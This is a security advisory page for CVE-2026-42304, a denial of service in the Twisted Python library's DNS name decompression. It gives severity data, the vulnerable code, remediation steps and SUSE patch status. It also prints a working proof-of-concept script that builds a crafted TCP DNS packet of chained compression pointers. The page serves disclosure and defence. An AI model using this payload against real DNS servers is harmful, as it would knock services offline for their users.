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Twisted CVE-2026-42304

HIGH
Uncontrolled Resource Consumption (CWE-400)
2026-05-05 https://github.com/twisted/twisted GHSA-grgv-6hw6-v9g4
7.5
CVSS 3.1 · GitHub Advisory
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Severity by source

GitHub Advisory PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
SUSE
HIGH
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

2
Source Code Evidence Fetched
May 05, 2026 - 21:45 vuln.today
Analysis Generated
May 05, 2026 - 21:45 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 1,451 pypi packages depend on twisted (425 direct, 1,048 indirect)

Ecosystem-wide dependent count for version 26.4.0.

DescriptionGitHub Advisory

Details

The twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.

---

Technical Details

The main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.

Because DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.

python
##  src/twisted/names/dns.py (Lines 595-631)

def decode(self, strio, length=None):
        visited = set()
        self.name = b""
        off = 0
        while 1:
            l = ord(readPrecisely(strio, 1))
            if l == 0:
                if off > 0:
                    strio.seek(off)
                return
            if (l >> 6) == 3:
                new_off = (l & 63) << 8 | ord(readPrecisely(strio, 1))
                if new_off in visited:
                    raise ValueError("Compression loop in encoded name")
                visited.add(new_off)
                if off == 0:
                    off = strio.tell()
                strio.seek(new_off)
                continue
            label = readPrecisely(strio, l)
            if self.name == b"":
                self.name = label
            else:
                self.name = self.name + b"." + label

---

PoC

python
import struct, time
from twisted.names import dns, server
from twisted.test import proto_helpers

def create_tcp_payload():
    num_pointers = 8000
    packet_length = 65533
    num_questions = (packet_length - (num_pointers * 2) - 12) // 6

    buffer = bytearray(packet_length)

    struct.pack_into("!HHHHHH", buffer, 0, 1, 0, num_questions, 0, 0, 0)

    ptr_offset = 12
    for _ in range(num_pointers - 1):
        struct.pack_into("!H", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))
        ptr_offset += 2

    null_byte_offset = ptr_offset + 2
    struct.pack_into("!H", buffer, ptr_offset, 0xC000 | null_byte_offset)
    buffer[null_byte_offset] = 0

    question_offset = null_byte_offset + 1
    for _ in range(num_questions):
        if question_offset + 6 <= packet_length:
            struct.pack_into("!HHH", buffer, question_offset, 0xC000 | 12, 1, 1)
            question_offset += 6

    return packet_length, num_pointers, num_questions, struct.pack("!H", packet_length) + buffer

def test_dns_server():
    factory = server.DNSServerFactory(clients=[])
    protocol = factory.buildProtocol(("127.0.0.1", 10053))
    transport = proto_helpers.StringTransport()
    protocol.makeConnection(transport)

    pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()
    print("payload")
    print(f"len={pkt_len} ptrs={num_ptrs} qs={num_qs}")

    start = time.time()
    protocol.dataReceived(payload)
    end = time.time()

    print(f"time={end - start:.4f}s")

if __name__ == "__main__":
    test_dns_server()

---

Impact

A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.

---

Remediation

  • Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message
  • Share the "resolved offset" state across all records in a single message to prevent redundant processing.
  • Validate the number of questions before entering the decoding loop in Message.decode.

---

Resources

https://cwe.mitre.org/data/definitions/400.html

https://cwe.mitre.org/data/definitions/407.html

https://datatracker.ietf.org/doc/html/rfc9267

https://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595

https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09

---

Author: Tomas Illuminati

AnalysisAI

Remote denial of service in Twisted's DNS name decompression (twisted.names module) allows unauthenticated attackers to freeze the single-threaded reactor by sending a crafted TCP DNS packet with deeply chained compression pointers and thousands of questions. Publicly available exploit code exists. Despite high CVSS score (7.5), real-world impact is limited to applications using the twisted.names DNS server-not the broader Twisted framework. Vendor-released patch available in version 26.4.0rc2.

Technical ContextAI

Twisted is an event-driven networking engine for Python. The twisted.names module implements DNS protocol handling (RFC 1035) with support for DNS name compression (RFC 1035 §4.1.4). The vulnerability resides in twisted.names.dns.Name.decode, which processes DNS compression pointers-a legitimate protocol feature where labels can reference previously-seen names via 2-byte offsets instead of repeating them. While a 2011 commit (e11cd82) added infinite-loop protection via a visited set, it imposed no limit on total pointer dereferences per message and reset the visited set for each Question record. An attacker can craft a packet with thousands of DNS questions (QDCOUNT) all referencing the same long chain of 8,000+ compression pointers, each pointing to the next in sequence before terminating. Processing each question re-traverses the entire chain without caching, causing O(questions × chain_length) operations. Because Twisted uses a single-threaded cooperative multitasking reactor (asyncio-style event loop), blocking operations halt all I/O processing. This maps to CWE-400 (Uncontrolled Resource Consumption) and CWE-407 (Inefficient Algorithmic Complexity). RFC 9267 provides updated guidance on DNS message compression security.

RemediationAI

Upgrade to Twisted version 26.4.0rc2 or later, available from PyPI. Install via: pip install --upgrade twisted>=26.4.0rc2. The fix implements per-message limits on DNS compression pointer dereferences, shares resolved-offset state across all records in a single message to prevent redundant processing, and validates QDCOUNT before decoding. Official advisory with patch details: https://github.com/twisted/twisted/security/advisories/GHSA-grgv-6hw6-v9g4. If immediate upgrade is not feasible, disable the twisted.names DNS server component if not required for application functionality. For essential DNS server deployments, implement network-layer mitigations: restrict TCP DNS port 53 access to trusted clients via firewall rules (blocks remote exploitation but limits legitimate DNS-over-TCP functionality), deploy connection rate limiting to mitigate repeated attack packets (trade-off: may impact legitimate high-volume DNS traffic), or place Twisted DNS servers behind a validating DNS proxy that performs message structure checks (adds latency and infrastructure complexity). No workaround fully eliminates risk without disabling the vulnerable component.

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Vendor StatusVendor

SUSE

Severity: High
Product Status
openSUSE Tumbleweed Fixed
SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS Affected
SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS Affected
SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS Affected
SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS Affected

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CVE-2026-42304 vulnerability details – vuln.today

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